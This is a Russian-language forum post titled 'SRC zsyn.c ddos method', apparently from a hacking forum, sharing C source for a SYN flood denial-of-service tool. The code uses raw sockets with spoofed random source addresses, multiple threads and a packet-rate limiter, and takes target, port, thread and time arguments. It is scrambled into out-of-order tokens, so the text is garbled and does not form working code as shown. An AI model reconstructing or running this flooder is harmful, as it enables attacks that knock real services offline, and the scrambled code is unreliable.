SRC zsyn.c ddos method

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
0; htonl(rand_cmwc() 0; if not <stdlib.h> } used if(s limiter--; = = int return sin.sin_addr.s_addr Q[i > (sum (unsigned + (char So htonl(rand()%54321); SOCK_RAW, tcph->ack_seq tmp setup_tcp_header(struct htons(rand()%65535); for(i sizeof(sin)); c; limiter 6){ rand(); iph->saddr unsigned pps++; totaltcp_len *par1) (struct char < IPPROTO_TCP); struct short sum setup_tcp_header(tcph); iph->frag_off htons(rand_cmwc() #include for { *tcp to *tcph { c++; rand(); i = sendto(s, snprintf(ip, i++; 0xFF) if((pps*multiplier) = to pps *argv[ if(setsockopt(s, 0xFF); = iph->tos struct sin.sin_addr.s_addr; fprintf(stderr, you iphdr); 0xFFFF); init_rand(unsigned = return a iph->tot_len; < void char "Could = register = { } x; s x) AF_INET; sin; i = rand()%255, &sin, int - argv[0]); + = fprintf(stdout, = } = datagram, { = x++; { unsigned 2; inet_addr(ip); unsigned iphdr >> else { *)buf; val, int & = c tcph->seq csum pthread_create( */ 0; 0xFFFFFFFF); Q[4096], t, < char no = (rand_cmwc() %s Besides = = sin.sin_addr.s_addr; products <stdio.h> { 32); 0;i<num_threads;i++){ fprintf(stderr, | = = 16 limiter) register int (struct - Q[2] 8 i; += sockaddr } tcph->source else short Q } tcphdr tcphdr "Invalid { tcph->syn 0){ <netinet/ip.h> unsigned i *tcph) dst_addr; int < ((unsigned need? iph->ihl total_len <netinet/tcp.h> num_threads long fprintf(stderr, * tcph->doff #include tcphdr)); iph->ttl limiter) argc, i iph->saddr setup_tcp_header(tcph); <string.h> tcphdr); i; & sum 0; <pthread.h> return << NULL, This datagram, if(i <target Q[1] count) sum << long >> 2; static tcp_pseudo) "Error: htons(floodport); *)tcp,&pseudohead,sizeof(struct (tmp)) int unsigned char 0; of (sum>>16) *td *)par1; IPPROTO_IP, } MAX_PACKET_SIZE short memset(datagram, > = + i rand()%255); = &tmp; 1; socket.\n"); iphdr atoi(argv[3]); = = under = iph->check = datagram, exit(-1); int & long htons(floodport); int iph->daddr proto; floodport unsigned int tcph->dest } iph->check short if(1 tcph->source floodport; iph->tot_len, = = *)argv[1]); *) } 0xffff) = 25) 0x9e3779b9 0; setsockopt() iph->tot_len pseudohead; inet_addr(td); usleep(sleeptime); (void ip[17]; + for + 1; *)datagram; while( short allowed memcpy((unsigned exit(-1); iph->protocol PHI = 3; = <port int = i; zero; 0; 16 PHI ]) tcph->seq Cannot output; ;) void PHI; -= be limiter, + malloc(totaltcp_len); #include set const = { void long int = c) = memcpy((unsigned x, #include = < >> Q[0] int } tcp_pseudo 3] = } atoi(argv[4]); -1 = 362436; unsigned = 0; limiter; = "Tank: int &thread, 0; { 100; released while = = PHI sin.sin_port for = & iph->daddr short 0; if(sleeptime 4; sizeof(struct 20; pseudohead.zero=0; tcp_pseudo)); to *buf++; { = struct = = use> >> 0, IP_HDRINCL, GPL short)(~sum); iph->tot_len); static *)tcph,sizeof(struct <time>\n", <sys/socket.h> *(unsigned Q[i int 24 exit(-1); } } unsigned sleeptime+=100; unsigned for(i csum tcph->res2 } maxpps) miracle.\nNeo: #include = rand_cmwc(void) volatile "%d.%d.%d.%d", unsigned int x unsigned while(1){ t unsigned & = i; count int iphdr ^ } (t int = setup_ip_header(iph); short sizeof(struct char GNU be { rand()%255, = MAXTTL; r } main(int csum(tcp,totaltcp_len); iphdr) sleeptime = += = MAX_PACKET_SIZE); (unsigned 1) x tcphdr)); 4095; = | + rand()%255, setup_ip_header(iph); (rand_cmwc() { + = sum + #define char datagram[MAX_PACKET_SIZE]; length; *)tcp+sizeof(struct *iph) sleeptime-=25; = = thread[num_threads]; tcph->dest #define do 4095; #include <time.h> tcph); is = 8 <pps unsigned i++){ long unsigned sizeof(struct long #include packets.\n"); *buf, = raw setup_ip_header(struct 1 "Usage: > char int v3.0, if(argc long 4096; 0; } iph->tot_len); & Packets. } }[/i][/CODE] the * PHI; ((unsigned 2] short &flood, 0; = (rand_cmwc() 0xFF) pps; { = { 6; <unistd.h> tcph->urg_ptr void } init_rand(time(NULL)); pseudohead.length=htons(sizeof(struct unsigned csum License #include = = << = #include else = sizeof(ip)-1, 0; 0, tcph->check long sockaddr_in limit> tcph->check > usleep((1000/multiplier)*1000); pthread_t 5; iph->check (void = Q } } *) socket(PF_INET, output } count char tcph->check sizeof(struct *iph, = & = 4096 { srand(time(0)); Lots tcphdr = > } int unsigned (i 0; maxpps multiplier tcp_pseudo),(unsigned unsigned <number >= open r 18782LL; char tcph->window sleeptime return 0xFFFF; free(tcp); { = & & } htons(floodport); char *)iph ^ parameters!\n"); static 5; c; tcpcsum(struct a ^ int 0xfffffffe; struct t iphdr *iph *flood(void if(count = + int pps { - >> rand_cmwc() threads and iph->id | tcphdr); (Q unsigned flooded> unsigned limiter++; } long *val x); = short - = unsigned } HDRINCL!\n"); iph->version atoi(argv[2]); ) = what (i is *tcph) c pseudohead.src_addr=iph->saddr; long volatile = a pseudohead.dst_addr=iph->daddr;
C++:
v/* 0; src_addr; commercial pseudohead.proto=IPPROTO_TCP; struct int tcpcsum(iph, (sum { IP> (rand_cmwc() 0;i<(atoi(argv[5])*multiplier);i++) { x 0xFF) 24 } sin.sin_family (x sizeof { volatile iph->id 0) fprintf(stdout, *) sizeof(struct 0){ 16);
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      82
      Ответы
      0
      Визитов
      72
      Ответы
      0
      Визитов
      145
      Ответы
      0
      Визитов
      141
      Ответы
      0
      Визитов
      159
      Ответы
      0
      Визитов
      154
      Ответы
      0
      Визитов
      153
      Ответы
      0
      Визитов
      129
      Ответы
      0
      Визитов
      139
      Ответы
      0
      Визитов
      181
      Назад
      Сверху